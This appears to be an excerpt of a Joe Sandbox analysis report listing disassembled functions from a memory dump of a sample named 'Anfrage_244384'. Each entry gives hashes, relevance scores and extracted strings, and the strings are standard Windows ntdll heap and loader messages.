                                                          • Instruction Fuzzy Hash: 7EF1E476E006158FDB08CFA9C99467EFBF6AF88210B59416DD456EF380E634EE01CB90
                                                          Function 347211A4 Relevance: 6.4, Strings: 5, Instructions: 113COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: This is located in the %s field of the heap header.$ -f4`$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
                                                          • API String ID: 0-1372849818
                                                          • Opcode ID: 30ec23916534e3effba0e8517c97e6cf7b0f3e6f3069256f21a2129251bdac18
                                                          • Instruction ID: 1b9e397be02ede170e49e3f47f6ab4c2e4b354d1daed53af9c47444477a2911b
                                                          • Opcode Fuzzy Hash: 30ec23916534e3effba0e8517c97e6cf7b0f3e6f3069256f21a2129251bdac18
                                                          • Instruction Fuzzy Hash: 8C31DE75200250EFEB10CF99C984F9673E9FF05668F50416AF402DF792EA79EC40CAA9
                                                          Function 346676B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
                                                          • API String ID: 0-3061284088
                                                          • Opcode ID: a5eca04d1163ca13b502d0116bb1af4a1f1ab47f344db0e09f816e95c8124205
                                                          • Instruction ID: 4e497d53e496cca00bc42fb5329905d3733b4cbe7ced0af15b18e30356ec8c1e
                                                          • Opcode Fuzzy Hash: a5eca04d1163ca13b502d0116bb1af4a1f1ab47f344db0e09f816e95c8124205
                                                          • Instruction Fuzzy Hash: A401F7362042A0DFE315DF28E41DF927BD8DB43E35F2440AEE00147A52CEADAC80C969
                                                          Function 346870C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                          • API String ID: 0-3178619729
                                                          • Opcode ID: 7ac5a2d1ff2ed3bb50344e894c62d58eb0f628976197b6ff6dee678f1000da3a
                                                          • Instruction ID: e8f5fa094222ff6faae92eb59545244d80063b431afbb7091340b3ba1ca88f1d
                                                          • Opcode Fuzzy Hash: 7ac5a2d1ff2ed3bb50344e894c62d58eb0f628976197b6ff6dee678f1000da3a
                                                          • Instruction Fuzzy Hash: CA138BB4A00769CFEB15CF68C8907A9BBB1FF59304F1481AED849AB381D734A945CF91
                                                          Function 34683D40 Relevance: 5.4, Strings: 3, Instructions: 1603COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                          • API String ID: 0-3178619729
                                                          • Opcode ID: a43ad1bd0ec083c4f961c1a90cf1678bfce63f3253342a8a367e66be15484aa1
                                                          • Instruction ID: d24898354ffaebbde71046768aee890f30d1dd647fec3ab6435923ee44c6f334
                                                          • Opcode Fuzzy Hash: a43ad1bd0ec083c4f961c1a90cf1678bfce63f3253342a8a367e66be15484aa1
                                                          • Instruction Fuzzy Hash: 90E29DB4A00215DFEB14CF68C890BA9BBF5FF59304F14819DD849AB386E735A885CF91
                                                          Function 3467B6C0 Relevance: 5.3, Strings: 4, Instructions: 303COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI$\Ud4
                                                          • API String ID: 0-4117967564
                                                          • Opcode ID: 34a8e7e7a9bbd5dd411b248851b29ffc718196d36e71089eee76f1780dd123e0
                                                          • Instruction ID: c37c1bd671856667aecb3084b27a6a3b8a31a143d5cb01edb29c40991d03691b
                                                          • Opcode Fuzzy Hash: 34a8e7e7a9bbd5dd411b248851b29ffc718196d36e71089eee76f1780dd123e0
                                                          • Instruction Fuzzy Hash: FDB1BC79A14704CFEB15CF69C880F9DBBB6AF95B54F14492DE851EB280E730E880CB41
                                                          Function 3467B440 Relevance: 5.2, Strings: 4, Instructions: 221COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit$\Ud4${
                                                          • API String ID: 0-2976282104
                                                          • Opcode ID: eba92a6a49ed0daa3b1dbd2687fe18cffddc1ec5d535ce162745ab1fe3e2b0c9
                                                          • Instruction ID: 34a12034325056dd2fe29cbf4a67e49bb0b6b7d57c6b1cc6e5f7c603ebf9c709
                                                          • Opcode Fuzzy Hash: eba92a6a49ed0daa3b1dbd2687fe18cffddc1ec5d535ce162745ab1fe3e2b0c9
                                                          • Instruction Fuzzy Hash: F191DDB5E04709CFEB11CF54C980BAE7BB4EF55B68F10419DE910AB290D7789E80CB95
                                                          Function 3466F626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
                                                          • API String ID: 0-2586055223
                                                          • Opcode ID: 7c4be97e2a746a4fc2896b650ebc370cabfa3b3a623fb8a983c0af36e0f0f7a7
                                                          • Instruction ID: 7dcc0d342fccfad2a40f70725ee87215602e0606a69bf0f641aba9b084d9e671
                                                          • Opcode Fuzzy Hash: 7c4be97e2a746a4fc2896b650ebc370cabfa3b3a623fb8a983c0af36e0f0f7a7
                                                          • Instruction Fuzzy Hash: BF61EE76204780EFE311CF24D848F5B77E8EF84758F044869E9958B291DB38ED41CBA2
                                                          Function 34669148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
                                                          • API String ID: 0-1391187441
                                                          • Opcode ID: 0915fbe3b6cf032e8459bc99b3d10205631233e68ba8eca684c6fe2e61183dcc
                                                          • Instruction ID: ba72862d0071287b74daeacaf084947a73ea789581d185a6ba291e01cbaebdc7
                                                          • Opcode Fuzzy Hash: 0915fbe3b6cf032e8459bc99b3d10205631233e68ba8eca684c6fe2e61183dcc
                                                          • Instruction Fuzzy Hash: F931AF36600218EFDB01CF95C888F9AB7F8EF45B74F2041A9E815AB291DB74ED44CE61
                                                          Function 346B1270 Relevance: 5.1, Strings: 4, Instructions: 97COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$BuildLabEx$Ej4$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                          • API String ID: 0-3080516617
                                                          • Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                          • Instruction ID: c5a49ea40fe9d73aad7cb63acbe9adc546131303e4b64f9f3edeb1473f624a97
                                                          • Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                          • Instruction Fuzzy Hash: 4D31AFB2A00618FFEF129F96CD44EDEBBBDEF84754F004025E945A7260EB319A458B94
                                                          Function 3471FCDF Relevance: 5.1, Strings: 4, Instructions: 54COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
                                                          • API String ID: 0-4256168463
                                                          • Opcode ID: 4b6fda700cfa9a53e7507947aebf13b4ebec3be126aad1633530940749708e3b
                                                          • Instruction ID: 7cb07372e375c5aedcfa75a0d3039c97eea5056422bc0ee6a7400aa8430735f1
                                                          • Opcode Fuzzy Hash: 4b6fda700cfa9a53e7507947aebf13b4ebec3be126aad1633530940749708e3b
                                                          • Instruction Fuzzy Hash: C201F5B6100710DFDB11DF74C424BA673EAEF43668F00455AE4829F342DA38E98ACA68
                                                          Function 34677152 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: a75f1c2bd40eb2e84d216ee78b8ea38ca9a0c0ea1ecf494f3fe0fe6ead0872c3
                                                          • Instruction ID: d0d7f98658c0aa0a3ea210d666cae7a1241d3c42c41618412c0fd359320aa858
                                                          • Opcode Fuzzy Hash: a75f1c2bd40eb2e84d216ee78b8ea38ca9a0c0ea1ecf494f3fe0fe6ead0872c3
                                                          • Instruction Fuzzy Hash: D5510F74B00709EFFB05CF64C944BADBBB9FF54396F14412AE512932A0EBB4A901CB81
                                                          Function 34671460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • HEAP: , xrefs: 34671596
                                                          • HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 34671728
                                                          • HEAP[%wZ]: , xrefs: 34671712
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                          • API String ID: 0-3178619729
                                                          • Opcode ID: 2347ef02fa2727501e6689a1a5de126501280fee71175133445fac3bc2edbdb7
                                                          • Instruction ID: f43798e5bf5e61f585d29c72f11b25234a606e566ef34f9338f47b2e35ef37fb
                                                          • Opcode Fuzzy Hash: 2347ef02fa2727501e6689a1a5de126501280fee71175133445fac3bc2edbdb7
                                                          • Instruction Fuzzy Hash: B4E1EF74A04345DFEB18CF28C491ABABBF9EF58304F14885EE5968B385EB34E940CB50
                                                          Function 346F368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$DelegatedNtdll$\SystemRoot\system32\
                                                          • API String ID: 0-2391371766
                                                          • Opcode ID: 84db999b6b677742465eaf8a0ed99eb5ddb846a38528a3699211a765ef7344c5
                                                          • Instruction ID: 95f2b3b0c3d02d6a55f7695943612f16bd58086d398a7c3de16dd1a4312a3646
                                                          • Opcode Fuzzy Hash: 84db999b6b677742465eaf8a0ed99eb5ddb846a38528a3699211a765ef7344c5
                                                          • Instruction Fuzzy Hash: D9B19DB2604741EFE711DE55CC80B5BB7E8FB84754F40092DFA90AB290DB76E884CB96
                                                          Function 347036EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
                                                          • API String ID: 0-318774311
                                                          • Opcode ID: 3c671dbe3f448cc695449d4d702e40932219e8ce2dd51e5d785752d467eaa0d8
                                                          • Instruction ID: 4057514dc73825785ce885423ad2c157860037eb24ff1cd07a368e012370adbf
                                                          • Opcode Fuzzy Hash: 3c671dbe3f448cc695449d4d702e40932219e8ce2dd51e5d785752d467eaa0d8
                                                          • Instruction Fuzzy Hash: D28198B560A340AFE311CF15C880B6AB7E9FF84754F40896EB9849B390DB74D944CFA6
                                                          Function 346F7410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Objects=%4u$Objects>%4u$VirtualAlloc
                                                          • API String ID: 0-3870751728
                                                          • Opcode ID: e108f96131cd1a23d01151044d93aacfeb5e230fa3afd93762a7003e37a0ccf2
                                                          • Instruction ID: 0dea71ac6ac639e7488ae06e276a0e132822b52586de91d8ebbc391e687e4d4b
                                                          • Opcode Fuzzy Hash: e108f96131cd1a23d01151044d93aacfeb5e230fa3afd93762a7003e37a0ccf2
                                                          • Instruction Fuzzy Hash: BC913AB4E003059FEB14CF69C880BADBBB1FF48315F14816AE945AB391EB769842CF54
                                                          Function 346A909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: %$&$@
                                                          • API String ID: 0-1537733988
                                                          • Opcode ID: 55289f343088d411882208aa5498a8adef224e5320d331e9bad6db7095ccaa87
                                                          • Instruction ID: be9df99019dc3f4765cd76ab5a34a5be55e9e7932e0cffc4dceba7b5c9c36cb9
                                                          • Opcode Fuzzy Hash: 55289f343088d411882208aa5498a8adef224e5320d331e9bad6db7095ccaa87
                                                          • Instruction Fuzzy Hash: AF7189B4609B01DFE300CF24C994A1BBBE9BF98658F204D1EE59987290DB31DD49CF96
                                                          Function 3474B73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • \Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 3474B82A
                                                          • TargetNtPath, xrefs: 3474B82F
                                                          • GlobalizationUserSettings, xrefs: 3474B834
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
                                                          • API String ID: 0-505981995
                                                          • Opcode ID: 94fdd9d8931bc74bbb496e608f92255fe63452d96f29f3731ee81ad01549642f
                                                          • Instruction ID: 53f6d6a9f27ac9c8db53e746ee132f66aee7abb64c534858e0b97ed5adefdeca
                                                          • Opcode Fuzzy Hash: 94fdd9d8931bc74bbb496e608f92255fe63452d96f29f3731ee81ad01549642f
                                                          • Instruction Fuzzy Hash: 61615D72901228EFEB21DF94DC8CBA9B7B9EF14750F4101E9A508AB351DB349E84CF94
                                                          Function 3466F7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • HEAP: , xrefs: 346CE6B3
                                                          • RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 346CE6C6
                                                          • HEAP[%wZ]: , xrefs: 346CE6A6
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
                                                          • API String ID: 0-1340214556
                                                          • Opcode ID: 3b88eca8db662ec83f2f6a409ff011a45cd33ed888215579624e775d7b2c4991
                                                          • Instruction ID: b6a63faa4d5d70c35da14b4f05f13ee7b9e09ff2ec80a9a0821a601795f8684c
                                                          • Opcode Fuzzy Hash: 3b88eca8db662ec83f2f6a409ff011a45cd33ed888215579624e775d7b2c4991
                                                          • Instruction Fuzzy Hash: 6551AE75700B84EFE716CFA8C984B9ABBF8EF05744F0400A9E5468B692D778ED41CB51
                                                          Function 346915F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • LdrpCompleteMapModule, xrefs: 346DA590
                                                          • minkernel\ntdll\ldrmap.c, xrefs: 346DA59A
                                                          • Could not validate the crypto signature for DLL %wZ, xrefs: 346DA589
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                                          • API String ID: 0-1676968949
                                                          • Opcode ID: a3e33e7b4ecaf97b0020a85ea8bb97c879c9d6a21341957bf7b4711cf5f5e753
                                                          • Instruction ID: 017d37eefe2e4ab8d7041f5dc6099bf959719a118b188593fdc4498f69307a40
                                                          • Opcode Fuzzy Hash: a3e33e7b4ecaf97b0020a85ea8bb97c879c9d6a21341957bf7b4711cf5f5e753
                                                          • Instruction Fuzzy Hash: 5B51FFB8B04784DFF711CE18CD40B8A77E8EB51764F2806A9E9509B6E2DBB4EC40CB45
                                                          Function 3466758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
                                                          • API String ID: 0-1151232445
                                                          • Opcode ID: eb3cfab582237369ab776bcb7864bd9e4024390461be83f7f0241a4b08e2d11b
                                                          • Instruction ID: 1049209c7247960ff718f2f905a5223841a70cf8d19a009eef155da53b94a0fd
                                                          • Opcode Fuzzy Hash: eb3cfab582237369ab776bcb7864bd9e4024390461be83f7f0241a4b08e2d11b
                                                          • Instruction Fuzzy Hash: F74136B8300380CFFB14DE19C8907AA77E5DF12388F5484AED456CB656DA78EC86CB52
                                                          Function 346A16CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • minkernel\ntdll\ldrtls.c, xrefs: 346E1B4A
                                                          • TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 346E1B39
                                                          • LdrpAllocateTls, xrefs: 346E1B40
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
                                                          • API String ID: 0-4274184382
